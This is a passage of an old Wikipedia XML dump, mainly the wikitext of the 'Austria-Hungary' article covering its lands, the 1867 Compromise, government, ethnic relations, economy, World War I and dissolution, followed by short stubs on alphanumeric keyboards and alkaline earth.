[[Image:Flag of the Habsburg Monarchy.svg|75px|]]&lt;br&gt;&lt;small&gt;Flag of the&lt;br&gt;Habsburg empire&lt;/small&gt;
&lt;/TD&gt;&lt;/TR&gt;
&lt;TR align=&quot;center&quot;&gt;&lt;TD COLSPAN=2&gt;
'''After the 1867 Compromise''' (&lt;small&gt;Black-yellow flag was kept as Imperial Flag&lt;small&gt;)
&lt;/TD&gt;&lt;/TR&gt;
&lt;/TABLE&gt;
&lt;HR&gt;
&lt;/TD&gt;&lt;/TR&gt;
&lt;TR valign=&quot;top&quot;&gt;
&lt;TD NOWRAP&gt;
[[Official language]]s
&lt;/TD&gt;&lt;TD&gt;
In Cisleithenia, [[German language|German]] and minority tounges.
In Hungary, [[Hungarian language|Hungarian]] and [[Latin]].
&lt;/TD&gt;&lt;/TR&gt;
&lt;TR valign=&quot;top&quot;&gt;
&lt;TD NOWRAP&gt;[[Established church]]
&lt;/TD&gt;&lt;TD&gt;
[[Roman Catholic Church|Roman Catholic]]
&lt;/TD&gt;&lt;/TR&gt;
&lt;TR valign=&quot;top&quot;&gt;
&lt;TD NOWRAP&gt;
[[Capital]]&lt;br&gt;&amp;amp; Largest
City
&lt;/TD&gt;&lt;TD&gt;
[[Vienna]]&lt;br&gt;pop. 1,675,000
(1907)
&lt;/TD&gt;&lt;/TR&gt;
&lt;TR valign=&quot;top&quot;&gt;
&lt;TD NOWRAP&gt;
[[Head of state]]
&lt;/TD&gt;&lt;TD&gt;
[[Habsburg|Emperor of Austria]],&lt;br&gt;[[King of Hungary]],&lt;br&gt;[[King of Bohemia]], etc.
&lt;/TD&gt;&lt;/TR&gt;
&lt;TR valign=&quot;top&quot;&gt;
&lt;TD NOWRAP&gt;
[[Area]]
&lt;/TD&gt;&lt;TD&gt;
680,887 km² (1907)
&lt;/TD&gt;&lt;/TR&gt;
&lt;TR valign=&quot;top&quot;&gt;
&lt;TD NOWRAP&gt;
[[Population]]
&lt;/TD&gt;&lt;TD&gt;
48,592,000 (1907)
&lt;/TD&gt;&lt;/TR&gt;
&lt;TR valign=&quot;top&quot;&gt;
&lt;TD NOWRAP&gt;
[[Currency]]
&lt;/TD&gt;&lt;TD&gt;
[[Rhine guilder]]; &lt;br&gt;[[Austro-Hungarian Krone|Corona]] (from [[1892]])
&lt;/TD&gt;&lt;/TR&gt;
&lt;TR valign=&quot;top&quot;&gt;
&lt;TD NOWRAP&gt;
[[National anthem]]
&lt;/TD&gt;&lt;TD&gt;
[[Gott erhalte Franz den Kaiser|Volkshymne (People's Anthem)]]
&lt;/TD&gt;&lt;/TR&gt;
&lt;TR valign=&quot;top&quot;&gt;
&lt;TD NOWRAP&gt;
[[List of extinct states|Existed]]
&lt;/TD&gt;&lt;TD&gt;
[[1867]]-[[1918]]
&lt;/TD&gt;&lt;/TR&gt;
&lt;/TABLE&gt;
'''Austria-Hungary''' ([[German language|German]]: ''Österreich-Ungarn'', [[Hungarian language|Hungarian]]: ''Osztrák-Magyar Monarchia'', [[Czech language|Czech]]: ''Rakousko-Uhersko'', [[Slovak language|Slovak]]: ''Rakúsko-Uhorsko'', [[Croatian language|Croatian]]: ''Austro-Ugarska''), also known as the '''Dual Monarchy''' or '''[[K.u.K.]] Monarchy''', was a dual-monarchic union state ([[1867]] - [[1918]]) in [[Central Europe]].

It replaced the [[Austrian Empire]] ([[1806]] - [[1867]]) on the same territory and originated in a [[Ausgleich|compromise]] between the ruling [[Habsburg]] dynasty and the Hungarians in order to maintain the state. As a multi-national [[empire]] in an era of [[nationalism|national]] awakening, it found its political life dominated by disputes among the eleven principal national groups. Its economic and social life was marked by a rapid economic growth through the age of [[industrialization]] and social modernization through many liberal and democratic reforms. 

The [[Habsburg]] dynasty ruled as [[Emperors of Austria]] over the western and northern half of the country and as [[Kings of Hungary]] over the [[Kingdom of Hungary]] which enjoyed some degree of self-government and representation in joint affairs (principally foreign relations and defence). The federation bore the full name of &quot;The Kingdoms and Lands Represented in the Imperial Council and the [[Lands of the Holy Crown of St. Stephen|Lands of the Holy Hungarian Crown of St. Stephen]]&quot;. 

Capital of the union state was [[Vienna]].

==The lands of the Empire==
Many texts refer to the non-Hungarian (&quot;Austrian&quot;) half part of Austria-Hungary as [[Cisleithania]] -- because most of its territory lay west (or to &quot;this&quot; side, from an Austrian perspective) of the [[Leitha]] river (although Galicia to the north-east also counted as &quot;Austrian&quot;). This region (consisting of more than simply [[Austria]]) strictly speaking had no collective official name prior to 1915, and hence official sources referred to the &quot;Kingdoms and Lands Represented in the Imperial Council&quot;. (The Imperial Council (''[[Reichsrat (Austria)|Reichsrat]]'') functioned as Cisleithania's parliament.) Similarly, the [[Transleithania]]n (&quot;Hungarian&quot;) half also consisted of more than simply Hungary, and bore the official designation of the Lands of the Holy Hungarian Crown of St. Stephen&quot; -- a reference to the [[saint|canonised]] first [[Christianity|Christian]] king of Hungary.

The &quot;Kingdoms and Lands&quot; of the Cisleithanian half of the Empire:
* the Kingdom of [[Bohemia]]; see [[Czech lands: 1867-1918]]
* the Kingdom of [[Dalmatia]]
* the Kingdom of [[Galicia (Central Europe)|Galicia and Lodomeria]]
* the Archduchy of [[Archduchy of Austria|Austria]] (as [[Upper Austria]] and [[Lower Austria]])
* the Duchy of [[Bukowina]]
* the Duchy of [[Carinthia (duchy)|Carinthia]]
* the Duchy of [[Carniola]]
* the Duchy of [[Salzburg]]
* the Duchy of [[Upper Silesia]] and [[Lower Silesia]]
* the Duchy of [[Styria (duchy)|Styria]]
* the Margravate of [[Moravia]]; see [[Czech lands: 1867-1918]]
* the Princely County of [[Tyrol]] (including the Land of [[Vorarlberg]]),
* the [[Austrian Littoral]] (''Küstenland'', including the Princely County of [[Gorizia and Gradisca]], the City of [[Trieste]] and the Margravate of [[Istria]]). 

The &quot;Lands&quot; of the Transleithanian half of the Empire:
* the [[Kingdom of Hungary]]- including [[Transylvania]] and [[Vojvodina]]
* the Kingdom of [[Croatia]] and [[Slavonia]]
* the City of [[Rijeka|Fiume]]. 

[[Bosnia and Herzegovina|Bosnia-Herzegovina]] formed a separate part of the Empire, jointly administered by both halves.

==Creation of Austria-Hungary &amp;mdash; the Compromise of 1867==
The ''[[Ausgleich]]'' (&quot;Compromise&quot;; kiegyezés in [[Hungarian language|Hungarian]]) of February 1867 which inaugurated the Empire's dualist structure in place of the former unitary Austrian Empire ([[1804]]-1867) originated at a time when Austria had declined in strength and in power -- both in the [[Italy | Italian]] peninsula (as a result of the [[Austro-Sardinian War]] of [[1859]]) and in greater Germany (culminating in the [[Austro-Prussian War]] of [[1866]]). Other factors in the constitutional changes included continued Hungarian dissatisfaction with rule from Vienna, and increasing national consciousness on the part of other nationalities of the Austrian Empire. Hungarian dissatisfaction grew partially from Austria's suppression, with [[Russia]]n support, of the [[Revolution of 1848|Hungarian liberal revolution]] of [[1848]] &amp;ndash; [[1849]]. However, dissatisfaction with Austrian rule had grown for many years within Hungary, and had many causes.

In an effort to shore up support for the monarchy, Emperor [[Franz Joseph of Austria | Franz Joseph]] began negotiations for a compromise with the [[Magyars | Magyar]] nobility to ensure their support. Some members of the government, such as Austrian prime minister [[Richard von Belcredi|Count Belcredi]], advised the Emperor to make a more comprehensive constitutional deal with all of the nationalities that would have created a federal structure. Belcredi worried that an accommodation with the Magyar interests would alienate the other nationalities. However, Franz Joseph was unable to ignore the power of the Magyar nobility, and they would not accept anything less than dualism between themselves and the traditional Austrian élites.

In particular, Hungarian leaders demanded and received the Emperor's coronation as King of Hungary as a re-affirmation of Hungary's historic privileges, and the establishment of a separate parliament at [[Budapest]] with the powers to enact laws for the historic lands of the Hungarian crown (the lands of [[Stephen I of Hungary | St Stephen]]), though on a basis which would preserve the political dominance of Hungarian minority (more specifically of the country's nobility and educated élite) and the exclusion from effective power of the country's large [[Romanians|Romanian]] and [[Slavic peoples|Slavic]] populations.

==Governmental structure==
Three distinct elements ruled Austria-Hungary:
# the Hungarian government
# the “Austrian” or Cisleithanian government
# a unified administration under the monarch
Hungary and Austria maintained separate [[parliament]]s, each with its own [[prime minister]]. Linking/co-ordinating the two fell to a government under a monarch, wielding power absolute in theory but limited in practice. The monarch’s common government had responsibility for the [[Austro-Hungarian Army|army]], for the [[Austro-Hungarian Navy|navy]], for foreign policy, and for the [[customs union]]. 

Within Cisleithania and Hungary certain regions, such as Galicia and Croatia, but not the Slovak lands, enjoyed special status with their own unique governmental structures.

A common Ministerial Council ruled the common government: it comprised the three ministers for the joint responsibilities (joint finance, military, and foreign policy), the two prime ministers, some Archdukes and the monarch.  Two delegations of representatives, one each from the Austrian and Hungarian parliaments, met separately and voted on the expenditures of the Common Ministerial Council, giving the two governments influence in the common administration. However, the ministers ultimately answered only to the monarch, and he had the final decision on matters of foreign and military policy.

Overlapping responsibilities between the joint ministries and the ministries of the two halves caused friction and inefficiencies. The armed forces suffered particularly from overlap. Although the unified government determined overall military direction, the Austrian and Hungarian governments each remained in charge of &quot;the quota of recruits, legislation concerning [[compulsory military service]], transfer and provision of the armed forces, and regulation of the civic, non-military affairs of members of the armed forces&quot;. Needless to say, each government could have a strong influence over common governmental responsibilities. Each half of the Dual Monarchy proved quite prepared to disrupt common operations to advance its own interests.

Relations over the half-century after 1867 between the two halves of the Empire (in fact the Cisleithan part contained about 57% of the combined realm's population and a rather larger share of its economic resources) featured repeated disputes over shared external tariff arrangements and over the financial contribution of each government to the common treasury. Under the terms of the ''Ausgleich'', an agreement, renegotiated every ten years, determined these matters. Each build-up to the renewal of the agreement saw political turmoil. The disputes between the halves of the empire culminated in the mid-[[1900s]] in a prolonged constitutional crisis -- triggered by disagreement over the language of command in Hungarian army units, and deepened by the advent to power in Budapest (April [[1906]]) of a Hungarian nationalist coalition. Provisional renewals of the common arrangements occurred in October [[1907]] and in November [[1917]] on the basis of the ''status quo''.

==Ethnic relations==
&lt;TABLE CELLSPACING=0 CELLPADDING=0 align=right&gt;&lt;TR align=center&gt;&lt;TD&gt;
'''The ethnic distribution&lt;BR&gt;of Austria-Hungary'''
&lt;/TD&gt;&lt;/TR&gt;&lt;TR align=center&gt;&lt;TD&gt;
&lt;TABLE CELLSPACING=0 CELLPADDING=0&gt;&lt;TR&gt;&lt;TD&gt;
German&lt;BR&gt;Hungarian&lt;BR&gt;Czech&lt;BR&gt;Polish&lt;BR&gt;Ruthenian&lt;BR&gt;Romanian&lt;BR&gt;Croat&lt;BR&gt;Slovak&lt;BR&gt;Serb&lt;BR&gt;Slovene&lt;BR&gt;
Italian
&lt;/TD&gt;&lt;TD&gt; &lt;/TD&gt;&lt;TD ALIGN=right&gt;
24%&lt;BR&gt;20%&lt;BR&gt;13%&lt;BR&gt;10%&lt;BR&gt;8%&lt;BR&gt;6%&lt;BR&gt;5%&lt;BR&gt;4%&lt;BR&gt;4%&lt;BR&gt;3%&lt;BR&gt;3%
&lt;/TD&gt;&lt;/TR&gt;&lt;/TABLE&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TABLE&gt;
[[Czechs]] (the majority in the [[Czech lands]], i.e.[[Bohemia]], [[Moravia]] and Austrian [[Silesia]]), [[Poles]] and [[Ukrainians]] (in [[Galicia (Central Europe)|Galicia]]), [[Slovenes]] (in [[Carniola]], [[Carinthia (duchy)|Carinthia]] and southern [[Styria (duchy)|Styria]], mostly today's [[Slovenia]]) and [[Croats]], [[Italy|Italians]] and [[Slovenes]] in [[Istria]] each sought a greater say in Cisleithan affairs.

At the same time, Magyar dominance faced challenges from the local majorities of [[Romanians]] in [[Transylvania]] and in the eastern [[Banat]], of [[Slovaks]] in today's [[Slovakia]], of [[Croats]] and [[Serbs]] in the crownlands of [[Croatia]] and of [[Dalmatia]] (today's [[Croatia]]), in [[Bosnia and Herzegovina]] and in the provinces known as the [[Vojvodina]] (today's northern [[Serbia]]). The Romanians and the Serbs also looked to union with their fellow-nationalists in the newly-founded states of [[Romania]] (1859 - 1878) and [[Serbia]]. 

Though Hungary's leaders showed on the whole less willingness than their German Austrian counterparts to share power with their subject minorities, they granted (it is argued) a large measure of autonomy to the kingdom of [[Croatia]] in [[1868]], parallelling to some extent their own accommodation within the Empire the previous year. 
[[Image:austria hungary 1911.jpg|thumb|left|300px|&quot;Distribution of Races in Austria-Hungary&quot; from the Historical Atlas by William R. Shepherd, 1911]]
Language was one of the most contentious questions in Austro-Hungarian politics. All governments faced difficult and divisive hurdles in sorting out the languages of government and of instruction. Minorities wanted to ensure the widest possibility for education in their own language as well as in the &quot;dominant&quot; languages of Hungarian and German. On one notable occasion, that of the so-called &quot;ordinance of April 5, 1897&quot;, the Austrian Prime Minister [[Kasimir Felix Graf Badeni]] gave Czech equal standing with German in the internal government of [[Bohemia]], leading to a crisis because of nationalist German agitation throughout the Empire. In the end Badeni was dismissed. On another occasion, the Czechs lost the privilege of using their own language in everyday life, including newspapers and in the workplace: Czechs had to use German. This caused general chaos.

From January 1907 all the public and private schools in Slovak part (aprox. 3 mil. people) of Hungary were forced to teach in Hungarian language only, burning Slovak books and newspapers. This led to wide criticism by [[Bjørnstjerne Bjørnson]] among others. 

It was not rare for the two kingdoms to divide spheres of influence.  According to [[Misha Glenny]] (''The Balkans, 1804-1999''), the Austrians responded to Hungarian badgering of Czechs by supporting the Croatian national movement in Zagreb.  (Croatia, in spite of nominal autonomy, was in fact an economic and administrative arm of Hungary; this the Croats resented.)

==Economy==
[[Image:BanknoteA-H.jpg|thumb|250px|A banknote of the Dual Monarchy]]
The Austro-Hungarian economy changed dramatically during the existence of the Dual Monarchy. Technological change accelerated [[industrialization]] and [[urbanization]]. The [[capitalist]] mode of production spread throughout the Empire during its fifty-year existence.  The old institutions of [[feudalism]] continued to disappear. Economic growth centred around Vienna, the Austrian lands (areas of modern Austria), the Alpine lands, and the Bohemian lands. In the later years of the nineteenth century rapid economic growth spread to the central Hungarian plain and to the Carpathian lands. As a result of this pattern wide disparities of development existed within the Empire. In general the western areas achieved far more development than the east. By the early 20th century most of the Empire had started to  experience rapid economic growth. The [[GNP]] per capita grew roughly 1.45% per year from 1870 to 1913. That level of growth compared very favourably to that of other European nations such as Britain (1.00%), France (1.06%), and Germany (1.51%). (Source: Good, David. ''The Economic Rise of the Habsburg Empire''). However, the Empire's economy as a whole still lagged considerably behind the economies of other powers, as it had only begun sustained modernization much later. Britain had a GNP per-capita almost three times larger than the Habsburg Empire, while Germany's stood almost twice as high as Austria-Hungary's. Nonetheless, these large discrepancies hide different levels of development within the Empire.

[[Rail transport]] expanded rapidly in the Austro-Hungarian Empire. Its predecessor state, the [[Habsburg Empire]], had built a substantial core of railways in the west originating from Vienna by [[1841]]. At that point the government realized the military possibilities of rail and began to invest heavily in their construction. [[Bratislava]], Budapest, Prague, [[Kraków]], [[Graz]], Laibach ([[Ljubljana]]), and [[Venice]] became linked to the main network. By 1854 the Empire had almost 2000 kilometres of track, about 60 to 70% of it in state hands. At that point the government began to sell off large portions of track to private investors to recoup some of its investments and because of the financial strains of the [[1848 Revolution]] and of the [[Crimean War]]. 

From [[1854]] to [[1879]] private interests conducted almost all rail construction. What would become Cisleithania gained 7952 track kilometres, and Hungary built 5839 track kilometres.  During this time many new areas joined the railway system  and the existing rail networks gained connections and interconnections. This period marked the beginning of widespread rail transportation in Austria-Hungary, and also the integration of transportation systems in the area. Railways allowed the Empire to integrate its economy far more than previously possible, when transportation depended on rivers.

After 1879 the Austro-Hungarian government slowly began to re-nationalize the rail network, largely because of the sluggish pace of development during the worldwide [[depression (economics)|depression]] of the [[1870s]]. The years between 1879 and [[1900]] saw more than 25,000 km of railways built in Cisleithania and Hungary. Most of this constituted &quot;filling in&quot; of the existing network, although some areas, primarily in the far east, gained rail connections for the first time during this period. The railroad reduced transportation costs throughout the Empire, opening new markets for products from other lands of the Dual Monarchy.

==Foreign policy==
The Imperial (Austrian) and Royal (Hungarian) governments differed also to some extent in their attitude toward the Empire's common foreign policy. Politicians in Budapest particularly feared annexations of territory which would add to the kingdom's non-Hungarian populations. But the Empire's alliance with [[Germany]] against [[Russia]] from October [[1879]] (see [[Dual Alliance, 1879]]) commanded general acceptance, since Russia seemed the principal external military threat to both parts. 

Austro-Hungarian forces occupied the territory of [[Bosnia and Herzegovina]] from August [[1878]] under the [[Treaty of Berlin, 1878 | Treaty of Berlin]]. The Empire annexed this territory in October [[1908]] as a common holding under the control of the finance ministry rather than attaching it to either territorial government. The annexation set up an anomalous situation which led some in Vienna to contemplate combining Bosnia and Herzegovina with Croatia to form a third component of the Empire, uniting its southern Slav regions under the domination of Croats (who might have proved more sympathetic to [[Vienna]] than to Budapest). 

==World War I==
[[Image:Schildoh.png|thumb|150px|right|Coat of Arms of Austria-Hungary, adopted in [[1915]] to emphasize the unity of the Empire during [[World War I]].]]
On [[June 28]], [[1914]], [[Franz Ferdinand, Archduke of Austria]], heir presumptive to his uncle the Emperor [[Franz Josef I of Austria|Franz Josef]] (Franz Josef's [[Crown Prince Rudolf of Austria|only son]] had died under still-mysterious circumstances, and Mexican republicans had executed the [[Maximilian of Mexico|Emperor's brother]]), visited the Bosnian capital [[Sarajevo]] where Bosnian Serb militants of the nationalist group Mlada Bosna, supplied by the violent Serbian militant group [[Black Hand]], ambushed his convoy and assassinated him. ''See: [[Assassination in Sarajevo]]''

After the [[Congress of Berlin]] the Empire's military spending didn't even double, while that of Germany rose fivefold, and British, Russian and French rose threefold. The Empire had previously lost ethnically Italian areas to [[Piedmont (Italy)|Piedmont]] due to nationalist movements sweeping through Italy, and many Austro-Hungarians felt the threat of losing the southern territories inhabited by Slavs to [[Serbia]] as imminent. Serbia had recently gained a significant amount of territory in the [[Second Balkan War]] of 1913, causing much distress in government circles in Vienna and Budapest. Some members of the government, such as [[Conrad von Hötzendorf]] had wanted to confront the resurgent Serbian nation for some years. The leadership of Austria-Hungary, especially Count Leopold von Berchtold, backed by its ally [[Germany]], decided to confront Serbia militarily before it could incite a revolt: using the assassination as an excuse, they presented a list of [[ten demands]] [http://www.firstworldwar.com/source/austrianultimatum.htm] expecting Serbia would never accept. When Serbia accepted nine of the ten demands but only partially accepted the remaining one, Austria-Hungary declared war.

These events brought the Empire into conflict with Serbia and over the course of July and August 1914, caused the start of [[World War I]], as Russia mobilized in support of Serbia, setting off a series of counter-mobilizations.

[[Italy]] initially remained neutral, although it had an alliance with Austria-Hungary. In 1915 it switched to the side of the [[Entente powers]], hoping to gain territory from Austria-Hungary.

General Franz Conrad von Hötzendorf was the Chief of the Austro-Hungarian General Staff during the war. Under his command, Austro-Hungarian troops initially crushed Serbia, defended the routes into Hungary and repulsed Italian advances in [[Gorizia]]. The Russians then began considerable war aid to their slavic Serbian allies.  The [[Austro-Hungarian Army]] suffered very serious casualties throughout the war. However, they had considerable successes (albeit with German aid and direction) even advancing into enemy territory following  the German-led victory in Galicia (May 1915), taking [[Belgrade]] despite the heroics of Serbian General Radomir Putnik (October 1915),  and again with the Germans at [[Battle of Caporetto | Caporetto]] on the Italian front (October 1917), sending the [[Italian First Army]] reeling in retreat. As World War I dragged on, the Austro-Hungarian war effort had become more and more subordinate to the direction of German planners. Supply shortages, low morale, and the high casualty rate began to seriously affect the operational abilities of the army by the last years of the war.

In June 1918, Conrad attempted a double edged offensive with the bulk of remaining Austro-Hungarian forces. Its failure left the empire vulnerable, and in October 1918 an Italian-led [[Allies of World War I | Allied]] army attacked, gaining victory in the battle of [[Vittorio Veneto]], destroying the last of the Austrian Army and ended the Habsburg Empire.

==Dissolution of the Empire==
[[Image:Austria obituary.jpg|thumb|left|250px|A humorous &quot;obituary&quot; of the Austrian Empire, published in [[Kraków]] in late 1918. Click on the image to read a translation.]]
As it became apparent that the Allied Powers of the United Kingdom, France, Italy and the United States would win World War I, nationalist movements which had previously been calling for a greater degree of autonomy for various areas, started pressing for full independence. With defeat in the war imminent, Czechoslovakia declared independence on [[28 October]] [[1918]] and on [[29 October]] the southern slav areas declared the [[State of Slovenes, Croats and Serbs]]. In [[Austria]] and [[Hungary]], separate republics were declared at the end of the war in November. The [[treaty of Saint Germain]] between the victors of World War I and Austria, and the [[treaty of Trianon]] between the victors and Hungary regulated the dissolution of Austria-Hungary. The last Habsburg emperor-king, [[Karl I of Austria|Karl I]] (styled Károly IV in Hungary), renounced participation in affairs of state (but did not abdicate) and fled to [[Switzerland]].

A monarchist revival in Hungary after a short-lived [[Hungarian Soviet Republic|communist revolution]] and the Romanian intervention of [[1919]] resulted in the restoration of the Hungarian  monarchy (March [[1920]]), with the royal powers entrusted to a [[regent]], the naval hero Admiral [[Miklós Horthy]]. Ill prepared attempts by [[Karl I of Austria|Karl]] to regain the throne in Budapest (March, October [[1921]]) collapsed when the initially wavering Horthy, who had received threats of intervention from the [[Allies of World War I|Allied powers]] and neighboring countries, refused his cooperation. Subsequently the British took custody of Karl and removed him and his family to the [[Portugal|Portuguese]] island of [[Madeira]], where he died the following year. 

[[Image:Österreich-Ungarns Ende.png|thumb|250px|right|Austria-Hungary and new states that emerged in [[1918]]
{{legend|white|border=grey solid 2px|Border of Austria-Hungary in 1914}}
{{legend|white|border=black solid 2px|Borders in 1914}}
{{legend|white|border=red solid 2px|Borders in 1920}}
{{legend|#EB955C|[[Empire of Austria]] in 1914}}
{{legend|#FAF0EE|[[Kingdom of Hungary]] in 1914}}
{{legend|#92A2CB|[[Bosnia and Herzegovina]] in 1914}}
]]
The following successor states were formed (entirely or in part) from the former Habsburg lands:
* [[Austria]]
* [[Hungary]]
* [[Czechoslovakia]]
* [[State of Slovenes, Croats and Serbs]] (joined with the Kingdom of [[Serbia]] on [[1 December]] [[1918]] to form the [[Kingdom of Serbs, Croats and Slovenes]], later [[Yugoslavia]])
* [[Poland]]

Some Austro-Hungarian lands were also ceded to [[Romania]] and [[Italy]]. [[Liechtenstein]], which had formerly looked to Vienna for protection, formed a customs and defence union with [[Switzerland]], and adopted the Swiss currency instead of the Austrian. In April 1919 [[Vorarlberg]], the westernmost province of Austria, voted by a large majority to join Switzerland; however both the Swiss and the Allies disregarded this result.

==Historiography==
Historical views of Austria-Hungary have varied throughout the 20th century:

Historians in the early part of the century tended to have emotional and/or personal involvement with the issues surrounding Austria-Hungary. Nationalist historians tended to view the Habsburg polity as [[despot]]ic and obsolete. Other scholars, usually associated with the old government, became apologists for the traditional leadership and tried to explain their policies.

* Major writers from the early period who remain influential include: Oskar Jászi and Josef Redlich.

Subsequent experience of the region's inter-war &quot;[[Balkanization]]&quot;, of [[Nazi]] occupation, and then  of [[Soviet Union|Soviet]] domination, led to a more sympathetic interpretation of the Empire, based primarily in a large exiled community in the United States. Meanwhile, Marxist historians still tended to judge the Empire in a negative way.

* Major scholars of this period include: C. A Macartney, Robert A. Kann, Charles Ingrau and Arthur J. May.

One controversy among historians remains: whether the Empire faced inevitable collapse as the result of a decades-long decline; or whether it would have survived in some form in the absence of military defeat in World War I. 

* [[Alan Sked]] has advanced the view that, &quot;to speak of decline and fall with regard to the Monarchy is simply misleading: it fell because it lost a major war.&quot; (''The Decline and Fall of the Habsburg Empire 1815&amp;ndash;1918'')

* David F. Good supports Sked's view.

* Others, such as Solomon Wank, remain skeptical.

==Territorial legacy==
The current countries whose entire territory were located inside Austria-Hungary by the time of the dissolution of the empire are:

*[[Austria]]

*[[Hungary ]]

*[[Czech Republic]]

*[[Croatia]]

*[[Slovakia]]

*[[Bosnia and Hercegovina]]

*[[Slovenia]]

The current countries whose part of their territory were located inside Austria-Hungary by the time of the dissolution of the empire are: 

*[[Poland]] (voivodships of [[Silesian Voivodship|Silesia]], [[Lesser Poland Voivodship|Lesser Poland]] and [[Subcarpathian Voivodship|Subcarpathia]])

*[[Ukraine]] (oblasts of [[Zakarpattia Oblast|Zakarpattia]], [[Lviv Oblast|Lviv]], [[Ivano-Frankivsk Oblast|Ivano-Frankivsk]], [[Ternopil Oblast|Ternopil]] and [[Chernivtsi Oblast|Chernivtsi]])

*[[Romania]] (region of [[Transylvania]] and the county of [[Suceava County|Suceava]])

*[[Serbia and Montenegro]] (autonomous province of [[Vojvodina]] in [[Serbia]] and the bay of [[Boka Kotorska]] in [[Montenegro]])

*[[Italy]] (autonomous regions of [[Trentino-South Tyrol]] and [[Friuli-Venezia Giulia]])

==Flags of Austria-Hungary==
&lt;gallery&gt;
Image:Flag of the Habsburg Monarchy.svg|Flag of Austria
Image:Kuk-doppeladler.jpg|Coat of Arms of Austria
Image:Austria-Hungary-flag-1869-1918-naval-1786-1869-war.gif|War Flag
Image:Austria-Hungary flag 1869-1918.gif|Merchant Flag
Image:Flag of Hungary.svg|Flag of Hungary
Image:Hungary COA.jpg|Coat of Arms of Hungary
Image:Flag of the Habsburg Monarchy.svg|Flag of the Habsburg Empire (Before the [[Ausgleich|1867 Compromise]])
&lt;/gallery&gt;

==See also==
{{commons2|Flags of Austria-Hungary|Flags of Austria-Hungary}}
* [[Czech lands: 1867-1918]]
* [[Aftermath of World War I]]
* [[Austrian nobility]]
* [[Habsburg Monarchy]]
* [[Former countries in Europe after 1815]]
* [[List of extinct states]]
*[[Banat Republic]]
* Baron [[Ladislaus Hengelmuller]], Austro-Hungarian Ambassador to the United States from 1894-1913

==References==
*[[Oszkár Jászi|Jász, Oszkár]] ''The Dissolution of the Habsburg Monarchy'', Chicago : University of Chicago Press, 1966. 
*Macartney, Carlile Aylmer ''The Habsburg Empire, 1790-1918'', New York, Macmillan 1969.
*[[Alan Sked|Sked Alan]] ''The Decline And Fall of the Habsburg Empire, 1815-1918'', London : Longman, 1989.
*[[A.J.P. Taylor|Taylor, A.J.P.]] ''The Habsburg monarchy, 1809-1918 : a history of the Austrian Empire and Austria-Hungary'', London : Penguin Books in assoc. with Hamish Hamilton, 1964, 1948

==External links==
* [http://www.lib.utexas.edu/maps/historical/shepherd/austria_hungary_1911.jpg &quot;Distribution of Races in Austria-Hungary&quot; from the ''Historical Atlas'' by William R. Shepherd, 1911]
* [http://users.erols.com/mwhite28/austhung.htm Maps of Austria-Hungary]
* [http://www.austro-hungarian-army.co.uk/ The Austro-Hungarian Military]
* [http://www.geocities.com/CapitolHill/Rotunda/2209/Austria_Hungary.html Austria-Hungary] - extensive list of heads of state, ministers, and ambassadors

[[Category:Austria-Hungary| ]]
[[Category:Former countries in Europe]]

[[bg:Австро-Унгария]]
[[bs:Austro-Ugarska]]
[[br:Aostria-Hungaria]]
[[ca:Imperi austrohongarès]]
[[cs:Rakousko-Uhersko]]
[[da:Østrig-Ungarn]]
[[de:Österreich-Ungarn]]
[[et:Austria-Ungari]]
[[es:Imperio Austrohúngaro]]
[[eo:Aŭstrio-Hungario]]
[[fr:Autriche-Hongrie]]
[[ko:오스트리아-헝가리]]
[[hr:Austro-Ugarska]]
[[id:Austria-Hongaria]]
[[it:Impero Austro-Ungarico]]
[[he:האימפריה האוסטרו הונגרית]]
[[la:Imperium Austro-Hungaricum]]
[[lt:Austrija-Vengrija]]
[[hu:Osztrák-Magyar Monarchia]]
[[nl:Oostenrijk-Hongarije]]
[[ja:オーストリア・ハンガリー帝国]]
[[no:Østerrike-Ungarn]]
[[nn:Austerrike-Ungarn]]
[[pl:Austro-Węgry]]
[[pt:Áustria-Hungria]]
[[ro:Imperiul Austro-Ungar]]
[[ru:Австро-Венгрия]]
[[sk:Rakúsko-Uhorsko]]
[[sl:Avstro-Ogrska]]
[[sr:Аустро-Угарска]]
[[fi:Itävalta-Unkari]]
[[sv:Österrike-Ungern]]
[[uk:Австро-Угорщина]]
[[zh:奥匈帝国]]</text>
    </revision>
  </page>
  <page>
    <title>Alphanumeric keyboard</title>
    <id>2984</id>
    <revision>
      <id>38579464</id>
      <timestamp>2006-02-07T05:56:29Z</timestamp>
      <contributor>
        <username>Vary</username>
        <id>208472</id>
      </contributor>
      <comment>Revert to revision 38188412 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">'''Alphanumeric keyboards''' include [[typewriter]] and [[computer]] [[Computer keyboard|keyboards]]. An alphanumeric keyboard is a device with many keys (usually marked with the letters of the [[alphabet]], the [[numerical digit]]s, and various extra keys.) 

[[Image:Keyboard large.jpg|right|thumb|250px|The computer keyboard]]

After [[punch cards]] and paper tape, interaction via [[teletype]]-style keyboards became the main input device for computers. During the [[1980s]] and [[1990s]] almost all computers came equipped with them as the main form of interaction, and most users are familiar with using them.  

There are different types of [[Keyboard technology | keyboard technologies]]. 

The layout of keys on the modern-day English keyboard is called the [[QWERTY]] design, based on the most popular typewriter keyboard layout. This has been further 
==See also==
*[[Computer mouse]]
*[[Keyboard plaque]]
*[[GKOS keyboard]]
*[[extension cable]]
[[Category:Computer keyboards]]

[[id:Papan ketik alfanumerik]]</text>
    </revision>
  </page>
  <page>
    <title>Alkaline earth</title>
    <id>2985</id>
    <revision>
      <id>28382104</id>
      <timestamp>2005-11-15T09:06:19Z</timestamp>
      <contributor>
        <ip>149.175.103.61</ip>
      </contributor>
      <text xml:space="preserve">{{cleanup-verify}}

'''Alkaline [[earth (chemistry)|earth]]''' contains or consits of an [[oxides]] of [[alkaline earth metals]], such as lime, magnesia, strontia, and baryta. The alkaline earth metals are among the most electropositive of all metals, second only to the Group 1 or Alkali metals. Consequently, most of their compounds have a high degree of ionic character. This confers a high degree of basic nature to the oxides. On reacting with water, the corresponding hydroxides are obtained (in solution) which are strong bases. Although highly corrosive, they are used as antacids for their strongly basic nature.

{{chem-stub}}

[[Category:Chemical compounds]]</text>
    </revision>
  </page>
  <page>
    <title>Abracadabra</title>
    <id>2986</id>
    <revision>
      <id>42041897</id>
      <timestamp>2006-03-03T11:44:27Z</timestamp>
      <contributor>
        <username>KnightRider</username>
        <id>430793</id>
      </contributor>
      <minor />
      <comment>warnfile  Adding: es</comment>
      <text xml:space="preserve">{{Otherusesabout|an incantational word}}
